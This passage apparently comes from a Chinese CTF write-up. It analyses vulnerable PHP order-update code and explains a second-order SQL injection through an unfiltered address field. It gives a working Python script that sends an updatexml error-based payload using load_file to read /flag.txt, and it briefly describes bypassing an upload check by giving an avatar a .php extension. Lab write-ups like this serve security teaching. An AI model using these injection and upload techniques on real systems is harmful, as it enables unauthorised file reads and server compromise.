        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

更新订单信息的那条 update 语句, 直接把上次查询的 $row['address'] 给拼接到语句里面

新的 $address 虽然也是拼接, 但是有 addslashes 包着

回到 confirm.php 里看发现传入的 $_POST['address'] 没有任何过滤

所以这题思路应该就是二次注入, 注入点就是 address

跟上一题类似, 直接写脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import random

rand_list = list()

def confirm(sql):
    rand = str(random.random())
    rand_list.append(rand)
    data = {
    'user_name': rand,
    'phone': rand,
    'address': sql
    }
    requests.post('http://1768f18c-e009-4c7d-b565-c432aa2d7d3a.node4.buuoj.cn:81/confirm.php',data=data)

def change():
    rand = rand_list.pop()
    data = {
    'user_name': rand,
    'phone': rand,
    'address': '123'
    }
    res = requests.post('http://1768f18c-e009-4c7d-b565-c432aa2d7d3a.node4.buuoj.cn:81/change.php',data=data)
    print(res.text)

payload = 'select replace((select load_file("/flag.txt")),"","")'

sql = "' and updatexml(1,concat(0x7e,(" + payload + "),0x7e),1) #"

confirm(sql)
change()

update 这里确实能报错, 但是 updatexml 后面需要加注释

root 权限直接读 flag.txt, 绕过长度限制的思路跟上一题一样都是用 replace

[WUSTCTF2020]CV Maker

简单文件上传

先注册再登录, 然后上传头像, 后缀改成 php 就行了

0%